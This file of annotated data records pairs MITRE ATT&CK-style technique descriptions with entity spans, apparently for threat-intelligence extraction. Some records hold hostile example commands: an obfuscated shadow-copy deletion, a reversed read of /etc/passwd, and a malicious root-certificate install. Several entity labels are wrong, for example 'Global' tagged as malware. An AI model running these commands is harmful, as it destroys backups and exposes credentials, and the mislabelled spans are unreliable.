+{"text": "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.  \n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.", "spans": {}, "info": {"source": "apt_reports", "name": "Masquerade Account Name"}}
+{"text": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the Launch Daemon configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.", "spans": {"FILEPATH: /sbin/emond</code>": [[298, 316]], "FILEPATH: /etc/emond.d/rules/</code>": [[352, 378]], "FILEPATH: /var/db/emondClients</code>,": [[791, 819]]}, "info": {"source": "apt_reports", "name": "Emond"}}
+{"text": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "spans": {"VULNERABILITY: spearphishing": [[51, 64], [102, 115], [234, 247], [611, 624]]}, "info": {"source": "apt_reports", "name": "Spearphishing via Service"}}
+{"text": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. Replication Through Removable Media), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. Adversary-in-the-Middle), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.", "spans": {}, "info": {"source": "apt_reports", "name": "Hardware Additions"}}
+{"text": "An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment. \n \nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome’s Remote Desktop.", "spans": {"TOOL: AnyDesk": [[412, 419]], "TOOL: ScreenConnect": [[423, 436]], "TOOL: VNC": [[390, 393]], "SYSTEM: Chrome": [[761, 767]], "SYSTEM: Zoom": [[746, 750]], "ORGANIZATION: Google": [[754, 760]]}, "info": {"source": "apt_reports", "name": "Remote Desktop Software"}}
+{"text": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.", "spans": {}, "info": {"source": "apt_reports", "name": "Server Software Component"}}
+{"text": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. In some cases politically oriented image files have been used to overwrite data.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares..\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers. Similarly, they may delete virtual machines from on-prem virtualized environments.", "spans": {"SYSTEM: SMB": [[1231, 1234]], "SYSTEM: Windows": [[1235, 1242]]}, "info": {"source": "apt_reports", "name": "Data Destruction"}}
+{"text": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.", "spans": {}, "info": {"source": "apt_reports", "name": "Non-Standard Encoding"}}
+{"text": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: Skeleton Key). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.", "spans": {"MALWARE: Skeleton Key": [[353, 365]]}, "info": {"source": "apt_reports", "name": "Domain Controller Authentication"}}
+{"text": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.", "spans": {"SYSTEM: Azure": [[797, 802]]}, "info": {"source": "apt_reports", "name": "Transfer Data to Cloud Account"}}
+{"text": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.", "spans": {}, "info": {"source": "apt_reports", "name": "HTML Smuggling"}}
+{"text": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>\n2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>\n3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher. In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.", "spans": {"TOOL: PowerShell": [[1396, 1406], [1568, 1578]], "SYSTEM: Windows Server 2008": [[1533, 1552]], "SYSTEM: Windows Server": [[1533, 1547]], "SYSTEM: Windows": [[110, 117], [1533, 1540]], "SYSTEM: Group Policy": [[1294, 1306]], "SYSTEM: Active Directory": [[23, 39], [778, 794]], "MALWARE: Global": [[946, 952]]}, "info": {"source": "apt_reports", "name": "Reversible Encryption"}}
+{"text": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.", "spans": {"FILEPATH: /tmp/:&$NiA'`),": [[901, 916]], "FILEPATH: C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe": [[1150, 1236]], "TOOL: wmic": [[1228, 1232]], "TOOL: Invoke-Obfuscation": [[1279, 1297]], "SYSTEM: Windows": [[1167, 1174]]}, "info": {"source": "apt_reports", "name": "Command Obfuscation"}}
+{"text": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.  Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. \n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. \n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. \n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.", "spans": {"FILEPATH: /usr/bin/security": [[1701, 1718]], "TOOL: Sysinternals": [[1562, 1574]], "SYSTEM: macOS": [[1663, 1668]], "VULNERABILITY: man-in-the-middle": [[1185, 1202]]}, "info": {"source": "apt_reports", "name": "Install Root Certificate"}}
+{"text": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol", "spans": {"TOOL: RAR": [[461, 464]]}, "info": {"source": "apt_reports", "name": "Data Encrypted"}}
+{"text": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and `rm` on ESXi.", "spans": {"SYSTEM: macOS": [[683, 688]], "SYSTEM: ESXi": [[702, 706]], "SYSTEM: Windows": [[622, 629]], "SYSTEM: Linux": [[673, 678]]}, "info": {"source": "apt_reports", "name": "File Deletion"}}
+{"text": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", "spans": {"VULNERABILITY: code execution": [[1870, 1884]], "VULNERABILITY: cross-site scripting": [[653, 673]], "VULNERABILITY: code injection": [[765, 779]], "VULNERABILITY: watering hole": [[1256, 1269]]}, "info": {"source": "apt_reports", "name": "Drive-by Compromise"}}
+{"text": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see Endpoint Denial of Service.", "spans": {"VULNERABILITY: DDoS": [[1011, 1015]], "VULNERABILITY: DoS": [[51, 54], [141, 144], [360, 363], [499, 502], [1006, 1009], [1038, 1041], [1535, 1538]]}, "info": {"source": "apt_reports", "name": "Network Denial of Service"}}
+{"text": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. \n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a Trusted Relationship to execute commands in connected virtual machines.", "spans": {"SYSTEM: AWS": [[111, 114]], "SYSTEM: Azure": [[132, 137]]}, "info": {"source": "apt_reports", "name": "Cloud Administration Command"}}
+{"text": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.", "spans": {"SYSTEM: macOS": [[937, 942]], "SYSTEM: Windows": [[1442, 1449]], "SYSTEM: Linux": [[1217, 1222]], "ORGANIZATION: Microsoft": [[1455, 1464]]}, "info": {"source": "apt_reports", "name": "Installer Packages"}}
+{"text": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Scanning IP Blocks"}}
+{"text": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name   . Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app .\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", "spans": {"TOOL: SSH": [[2031, 2034]], "SYSTEM: macOS": [[475, 480], [1743, 1748]], "SYSTEM: Windows": [[430, 437], [701, 708]], "SYSTEM: Linux": [[465, 470], [1074, 1079]], "MALWARE: attrib": [[763, 769], [798, 804], [989, 995]]}, "info": {"source": "apt_reports", "name": "Hidden Files and Directories"}}
+{"text": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.", "spans": {"TOOL: replace": [[267, 274]], "SYSTEM: SMB": [[1852, 1855]], "ORGANIZATION: Microsoft": [[144, 153]]}, "info": {"source": "apt_reports", "name": "Template Injection"}}
+{"text": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution. Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems. As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd. This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts. To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.", "spans": {"FILEPATH: /etc/rc.local.d/local.sh`": [[851, 876]], "SYSTEM: macOS": [[1072, 1077]], "SYSTEM: Ubuntu": [[1267, 1273]], "SYSTEM: Unix": [[91, 95], [453, 457], [638, 642], [956, 960]], "SYSTEM: Mac OS": [[1129, 1135]], "SYSTEM: ESXi": [[702, 706], [749, 753]], "SYSTEM: Mac OS X": [[1129, 1137]]}, "info": {"source": "apt_reports", "name": "RC Scripts"}}
+{"text": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "spans": {"SYSTEM: Windows": [[145, 152], [534, 541], [1250, 1257]], "SYSTEM: Active Directory": [[1402, 1418]]}, "info": {"source": "apt_reports", "name": "Access Token Manipulation"}}
+{"text": "The Windows Time service (W32Time) enables time synchronization across and within domains.  W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. \n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>.  The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. \n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.", "spans": {"SYSTEM: Windows": [[4, 11]]}, "info": {"source": "apt_reports", "name": "Time Providers"}}
+{"text": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. \n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). \n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.", "spans": {"ORGANIZATION: RSA": [[894, 897]], "VULNERABILITY: keylogger": [[498, 507], [833, 842]]}, "info": {"source": "apt_reports", "name": "Multi-Factor Authentication Interception"}}
+{"text": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code>   . These launch agents have property list files which point to the executables that will be launched .\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories    . The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in  . They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", "spans": {"ORGANIZATION: Apple": [[4, 9]]}, "info": {"source": "apt_reports", "name": "Launch Agent"}}
+{"text": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code. \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", "spans": {"TOOL: UPX": [[638, 641]]}, "info": {"source": "apt_reports", "name": "Software Packing"}}
+{"text": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.", "spans": {"SYSTEM: AWS": [[88, 91]], "ORGANIZATION: Cloudflare": [[68, 78]], "ORGANIZATION: Google": [[113, 119]]}, "info": {"source": "apt_reports", "name": "Serverless"}}
+{"text": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "apt_reports", "name": "Web Protocols"}}
